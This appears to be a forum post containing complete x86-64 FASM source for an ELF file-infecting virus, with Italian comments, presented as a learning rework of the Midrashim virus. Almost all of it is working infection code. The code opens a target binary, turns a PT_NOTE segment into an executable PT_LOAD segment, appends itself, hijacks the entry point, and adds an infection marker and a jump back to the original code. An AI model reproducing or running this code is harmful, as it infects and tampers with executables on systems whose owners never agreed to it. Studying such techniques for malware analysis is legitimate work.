;BPAinfector.asm
;fasm BPAinfector.asm
;il BPA ELF infector si basa sulla ben nota tecnica di infezione PT_NOTE -> PT_LOAD e funziona sia sui binari regolari che sui PIE; questo metodo ha un alto tasso di successo ed è facile da implementare (e rilevare).
;il BPA ELF infector è una rielaborazione del virus Midrashim; ho reversato e modificato il virus Midrashim unicamente per imparare come funziona questa tecnica, essendo interessato a tutto quello che concerne il Reverse Engineering e la Malware Analysis
https://syscall.sh;sito dell'autore del Midrashim con i riferimenti alle varie syscall
;step generali dell'infector:
;riserva spazio sullo stack per archiviare i valori in memoria
;verifica se il virus viene eseguito per la prima volta (visualizza un messaggio di payload diverso se viene eseguito per la prima volta)
;apre il file da infettare
;tenta di infettare il file di destinazione
;esce
;Stack buffer:
;r15 + 0 = stack buffer (10000 bytes) = stat
;r15 + 48 = stat.st_size
;r15 + 144 = ehdr
;r15 + 148 = ehdr.class
;r15 + 152 = ehdr.pad
;r15 + 168 = ehdr.entry
;r15 + 176 = ehdr.phoff
;r15 + 198 = ehdr.phentsize
;r15 + 200 = ehdr.phnum
;r15 + 208 = phdr = phdr.type
;r15 + 212 = phdr.flags
;r15 + 216 = phdr.offset
;r15 + 224 = phdr.vaddr
;r15 + 232 = phdr.paddr
;r15 + 240 = phdr.filesz
;r15 + 248 = phdr.memsz
;r15 + 256 = phdr.align
;r15 + 300 = jmp rel
;r15 + 3000 = first run control flag
;r15 + 3001 = payload
;buffer nello stack, con le varie informazioni dell'ELF Header e dei Program Headers del file target, oltre ad altre informazioni e al payload
format ELF64 executable 3
SYS_EXIT = 60
SYS_OPEN = 2
SYS_CLOSE = 3
SYS_WRITE = 1
SYS_READ = 0
SYS_EXECVE = 59
SYS_GETDENTS64 = 217
SYS_FSTAT = 5
SYS_LSEEK = 8
SYS_PREAD64 = 17
SYS_PWRITE64 = 18
SYS_SYNC = 162
STDOUT = 1
EHDR_SIZE = 64
ELFCLASS64 = 2
O_RDONLY = 0
O_RDWR = 2
SEEK_END = 2
MFD_CLOEXEC = 1
DT_REG = 8
PT_LOAD = 1
PT_NOTE = 4
PF_X = 1
PF_R = 4
FIRST_RUN = 1
V_SIZE = 944
segment readable executable
entry v_start
v_start:
mov r14, [rsp + 8]
;salva il nome del programma argv[0] nel registro r14
mov r10, [rsp + 16]
;e il file da infettare, argv[1], nel registro r10
push rdx
push rsp
sub rsp, 5000
;riserva 5000 byte nello stack
mov r15, rsp
;in r15 memorizza l'indirizzo del buffer di 5000 byte, contenuto in rsp, lo stack pointer, che rappresenta il registro che punta alla cima dello stack
check_first_run:
mov rdi, r14
;argv[0] in rdi
mov rsi, O_RDONLY
xor rdx, rdx
;rdx = 0, mode = 0
mov rax, SYS_OPEN
syscall
;int open(const char *pathname, int flags, mode_t mode);
;rax contiene il file descriptor dell'eseguibile dell'infector il cui nome file è memorizzato in argv[0] e che ha cercato di aprire in sola lettura con la syscall open
mov rdi, rax
mov rsi, r15
;rsi = r15 = indirizzo del buffer da 5000 bytes
mov rax, SYS_FSTAT
;con fstat ottiene la size dell'infector
syscall
;int fstat(int fd, struct stat *buf); in [r15 + 48] della struttura stat puntata da *buf, fstat memorizza la size dell'eseguibile argv[0]
;stat.st_size = [r15 + 48]
cmp qword [r15 + 48], V_SIZE
;la cmp fa una comparazione tra la size di argv[0] e la size del virus; per verificare la prima esecuzione del virus, ottiene la dimensione di argv[0] in byte e la confronta con la dimensione finale del virus, che è stata memorizzata in V_SIZE.
;diagramma di flusso semplificato; in realtà ci sono anche i controlli per vedere se il file è già infetto; a grandi linee però sono due i flussi principali; quando il virus è eseguito dall'infector, e quindi quando viene settata la FIRST_RUN e quando invece viene eseguito dal file infetto; in questo caso, salterebbe la fase dell'infezione, perchè trova la firma del virus in ehdr.pad e quindi stampa il secondo payload
jg .open_target_file
mov byte [r15 + 3000], FIRST_RUN
;se è più grande, non è il primo run e continua infettando senza settare la flag di controllo, altrimenti setta la flag in [r15 + 3000] che va a definire che è la prima esecuzione del virus
;prossimi step:
;apre il file da infettare
;convalida che si tratti di un ELF a 64 bit (verificando il suo magic number e le informazioni sulla classe, dalla sua intestazione)
;controlla se il file è già infetto (cercando la firma dell'infezione che dovrebbe essere impostata in ehdr.pad) e in caso affermativo, esce
;in caso contrario, scorre i program headers del file target, cercando un segmento PT_NOTE, avviando quindi il processo di infezione, una volta trovato[/color]
.open_target_file:
mov rdi, r10
;file da infettare
mov rsi, O_RDWR
xor rdx, rdx
;apre il file in modalità read & write, con mode = 0
mov rax, SYS_OPEN
syscall
cmp rax, 0
;se non può aprire il file, esce; Il valore di ritorno di open() è un descrittore di file, un piccolo numero intero non negativo; quindi salta se non riesce ad aprirlo, perchè in questo caso la syscall open ritorna un valore 0 o negativo
jbe .continue
mov r9, rax
;in r9 mette l'fd del file da infettare
.read_ehdr:
mov rdi, r9
lea rsi, [r15 + 144]
;rsi = ehdr = [r15 + 144]; con la pread adesso va a mettere a partire dalla locazione r15 + 144 l'ELF Header del file da infettare
mov rdx, EHDR_SIZE
;ehdr.size
mov r10, 0
;legge dall'offset 0
mov rax, SYS_PREAD64
syscall
;pread64, legge da un file descriptor a partire da un determinato offset
.is_elf:
cmp dword [r15 + 144], 0x464c457f
;0x464c457f si legge in ASCII .ELF in little-endian; è il magic number dell'ELF
jnz .close_file
;se non è un binario ELF, esce
.is_64:
cmp byte [r15 + 148], ELFCLASS64
;controlla se il file da infettare è un ELF a 64 bit
jne .close_file
;chiude e il file ed esce in caso non lo sia
.is_infected:
cmp dword [r15 + 152], 0x00415042
;check della firma in [r15 + 152] ehdr.pad (BPA in little-endian, più un byte 00 per arrivare a 4 byte)
jz .close_file
;se è presente la firma, il file è già infetto, chiude il file ed esce[/color]
mov r8, [r15 + 176]
;in r8 va a mettere l'offset del binario dopo il quale iniziano i program headers ehdr.phoff = [r15 + 176]
xor rbx, rbx
;contatore rbx inizializzato a 0 per il loop
xor r14, r14
;in r14 c'è il phdr offset
.loop_phdr:
mov rdi, r9
;in r9 c'è sempre l'fd del file da infettare
lea rsi, [r15 + 208]
;rsi = phdr = [r15 + 208], il nostro void *buf per la syscall pread64 punta all'inizio della phdr; la tabella di intestazione del programma di un file oggetto eseguibile o condiviso è un array di strutture, ognuna delle quali descrive un segmento o altre informazioni necessarie al sistema per preparare il programma per l'esecuzione.
mov dx, word [r15 + 198]
;ehdr.phentsize = [r15 + 198]
mov r10, r8
;legge l'offset ehdr.phoff da r8 (incrementando di ehdr.phentsize r8 ad ogni iterazione del loop)
mov rax, SYS_PREAD64
syscall
;ssize_t pread(int fd, void *buf, size_t count, off_t offset);
;rdi = r9, fd del file
;rsi = phdr
;dx = ehdr.phentsiz
;r8 = ehdr.phoff
cmp byte [r15 + 208], PT_NOTE
;controlla se phdr.type che si trova all'indirizzo [r15 + 208] è di tipo PT_NOTE
jz .infect
;se si, passa ad infettare il file, perchè ha trovato un program header adatto all'infezione
inc rbx
;se no, incrementa il contatore bx
cmp bx, word [r15 + 200]
;controlla se sono stati visitati tutti i phdrs (ehdr.phnum = [r15 + 200])
jge .close_file
;esce se non trova un phdr valido per l'infezione
add r8w, word [r15 + 198]
;altrimenti, aggiunge la ehdr.phentsize da [r15 + 198] a r8w e torna indietro
jnz .loop_phdr
.infect:
.get_target_phdr_file_offset:
mov ax, bx
;mette in ax il contatore bx phdr loop counter che indica l'indice del program header di tipo PT_NOTE da infettare
mov dx, word [r15 + 198]
;mette in dx la size ehdr.phentsize da [r15 + 198]
imul dx
;bx * ehdr.phentsize, mette in ax l'offset che aggiunto all'ehdr.phoff ci fornisce l'indirizzo del phdr adatto all'infezione di tipo PT_NOTE che mette in r14
mov r14w, ax
add r14, [r15 + 176]
;r14 = ehdr.phoff + (bx * ehdr.phentsize)
.file_info:
mov rdi, r9
mov rsi, r15
;rsi = r15 = stack buffer address
mov rax, SYS_FSTAT
syscall
;stat.st_size = [r15 + 48]
.append_virus:
;calcola l'EOF del file da infettare
mov rdi, r9
;r9 contiene l'fd del file da infettare
mov rsi, 0
;seek offset 0
mov rdx, SEEK_END
mov rax, SYS_LSEEK
syscall
;aggiunge il codice del virus (v_stop - v_start) alla fine del file di destinazione; questi offset cambieranno durante le diverse esecuzioni del virus, quindi utilizza una vecchia tecnica che calcola l'offset della memoria delta utilizzando l'istruzione di chiamata e il valore di rbp durante il runtime
push rax
;in rax che viene salvato sullo stack, c'è l'offset del EOF del file da infettare
call .delta
;in sostanza .delta è un offset all'interno del file; quindi con call .delta, va a mettere nello stack "rip" che è l'istruzione successiva da eseguire, cioè pop rbp; esegue questa istruzione, e mette in rbp l'indirizzo di pop rbp; sottrae a questo indirizzo l'offset .delta, e si calcola l'indirizzo iniziale dell'eseguibile, che memorizza in rbp; con l'istruzione lea rsi, [rbp + v_start], ottiene il punto di inizio in memoria a runtime del virus;
.delta:
pop rbp
sub rbp, .delta
;scrive il virus alla fine del file
mov rdi, r9
;r9 contiene l'fd del file da infettare
lea rsi, [rbp + v_start]
;carica l'indirizzo di v_start in rsi
mov rdx, v_stop - v_start
;la size del virus
mov r10, rax
;rax contiene l'EOF offset, in quanto valore di ritorno della precedente syscall
mov rax, SYS_PWRITE64
syscall
;scrive il virus in fondo al file da infettare
cmp rax, 0
jbe .close_file
;esce se la scrittura non è andata a buon fine
;step successivi:
;applica la patch al segmento PT_NOTE di destinazione
;cambia il type, rendendo il segmento di tipo PT_LOAD
;cambia i suoi flag (rendendolo eseguibile)
;aggiorna il suo phdr.vaddr in modo che punti all'inizio del virus (0xc000000 + stat.st_size)
;modifica l'indirizzo dell'entry poin scegliendo un'area che non sia in conflitto con l'esecuzione del programma originale; usa 0xc000000; sceglie un indirizzo sufficientemente alto nella memoria virtuale che, una volta caricato, non si sovrappone ad altro codice.
;la dimensioni del virus è aggiunta in phdr.filesz e phdr.memsz
;mantiene un corretto allineamento
.patch_phdr:
mov dword [r15 + 208], PT_LOAD
;patcha il phdr type che si trova all'indirizzo [r15 + 208], cambiandolo da PT_NOTE a PT_LOAD
mov dword [r15 + 212], PF_R or PF_X
;cambia le phdr.flags memorizzate in [r15 + 212] settandole a PF_X (1) | PF_R; rende il nuovo segmento, ora di tipo PT_LOAD, eseguibile e leggibile
pop rax
;rimette in rax l'EOF offset del file da infettare
mov [r15 + 216], rax
;phdr.offset [r15 + 216] = EOF offset
mov r13, [r15 + 48]
;mette la size del file da infettare stat.st_size da [r15 + 48] in r13
add r13, 0xc000000
;e aggiunge 0xc000000 alla size del file da infettare
mov [r15 + 224], r13
;cambia phdr.vaddr in [r15 + 224] nel nuovo valore che si trova nel registro r13 (stat.st_size + 0xc000000)
mov qword [r15 + 256], 0x200000
;setta phdr.align in [r15 + 256] a 2 mega byte; questo membro contiene il valore a cui i segmenti sono allineati in memoria e nel file; i valori zero e uno indicano che non è richiesto alcun allineamento; altrimenti, p_align dovrebbe essere una potenza intera positiva di due, e p_vaddr dovrebbe essere uguale a p_offset, modulo p_align.
add qword [r15 + 240], v_stop - v_start + 5
;aggiunge la dimensione del virus a phdr.filesz al valore presente all'indirizzo [r15 + 240] + 5 byte per l'istruzione jmp all'entry point originale ehdr.entry
add qword [r15 + 248], v_stop - v_start + 5
;aggiunge la dimensione del virus a phdr.memsz al valore presente all'indirizzo [r15 + 248] + 5 per l'istruzione jmp all'entry point originale ehdr.entry
;scrive il phdr parchato
mov rdi, r9
;r9 contiene sempre l'fd del file da infettare
mov rsi, r15
;rsi = r15 = stack buffer address
lea rsi, [r15 + 208]
;rsi = phdr = [r15 + 208]
mov dx, word [r15 + 198]
;ehdr.phentsize da [r15 + 198]
mov r10, r14
;phdr da [r15 + 208]
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
;scrive la patch e in caso la pwrite fallisce, chiude il file e esce
;prossimi step:
;applica la patch all'intestazione ELF
;salva l'entry point originale in r14
;aggiorna l'entry point in modo che sia uguale all'indirizzo virtuale del segmento patchato (phdr.vaddr)
;aggiunge la stringa del marker di infezione in ehdr.pad
.patch_ehdr:
;va a patchare ehdr
mov r14, [r15 + 168]
;salva l'entry point originale del file da infettare ehdr.entry da [r15 + 168] in r14
mov [r15 + 168], r13
;setta ehdr.entry in [r15 + 168] al valore contenuto in r13 (phdr.vaddr)
mov r13, 0x00415042
;carica la firma del virus in r13 (BPA in little-endian)
mov [r15 + 152], r13
;scrive la firma del virus in ehdr.pad all'indirizzo dello stack [r15 + 152]
;scrive l'ehdr patchato
mov rdi, r9
lea rsi, [r15 + 144]
;rsi = ehdr = [r15 + 144]
mov rdx, EHDR_SIZE
;ehdr.size
mov r10, 0
;ehdr.offset
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
;scrive la patch, in caso fallisce, chiude il file ed esce
.write_patched_jmp:
;ottiene il nuovo EOF del file
mov rdi, r9
;r9 contains fd
mov rsi, 0
;seek offset 0
mov rdx, SEEK_END
mov rax, SYS_LSEEK
syscall
;e lo mette in rax
;crea la jmp patchata
mov rdx, [r15 + 224]
;rdx = phdr.vaddr
add rdx, 5
sub r14, rdx
sub r14, v_stop - v_start
mov byte [r15 + 300 ], 0xe9
mov dword [r15 + 301], r14d
;scrive la jmp patchata alla fine del file EOF; la jmp salta all'entry point originale per far continuare l'eseguibile infetto come se non fosse stato infettato; a questa entry point originale viene sottratta la dimensione del virus e i 5 byte della jmp aggiuntiva
mov rdi, r9
lea rsi, [r15 + 300]
;rsi = jmp patchata nello stack buffer = [r15 + 300]
mov rdx, 5
;5 bytes, la dimensione della jmp
mov r10, rax
;r10 = rax = new target EOF
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
;scrive la jmp patchata alla fine del file dopo il virus, se non riesce, chiude il file ed esce
mov rax, SYS_SYNC
;committa le cache del filesystem sul disco
syscall
.close_file:
mov rax, SYS_CLOSE
;chiude il file
syscall
.continue:
cmp byte [r15 + 3000], FIRST_RUN
;controlla se la flag di controllo indica che è la prima esecuzione del virus
jnz infected_run
;se la flag è diversa da 1, il tutto è eseguito da un file infetto, quindi utilizza il normale payload
call show_msg
;se la flag di controllo è uguale 1, si presuppone che il virus venga eseguito per la prima volta e quindi visualizza un messaggio diverso
info_msg:
db 'BPA Malware 2023', 0xa
info_len = $-info_msg
show_msg:
pop rsi
;l'indirizzo di info_msg in rsi
mov rax, SYS_WRITE
mov rdi, STDOUT
mov rdx, info_len
syscall
;scrive il messaggio
jmp cleanup
;cleanup ed esce
infected_run:
;qui invece utilizza un payload differente, perchè il file è infetto
call payload
msg:
;db 0x99, 0xb1, 0x41
db 0x42, 0x50, 0x41, 0x20, 0x69, 0x6E, 0x66, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x79, 0x6F, 0x75, 0x21, 0x0a
len = $-msg
payload:
pop rsi
mov rax, SYS_WRITE
mov rdi, STDOUT
mov rdx, len
syscall
;scrive il payload
cleanup:
add rsp, 5000
;ripristina lo stack in modo che il processo host possa funzionare normalmente
pop rsp
pop rdx
v_stop:
xor rdi, rdi
;exit code 0
mov rax, SYS_EXIT
syscall
Edited by HCF - 27/4/2024, 20:19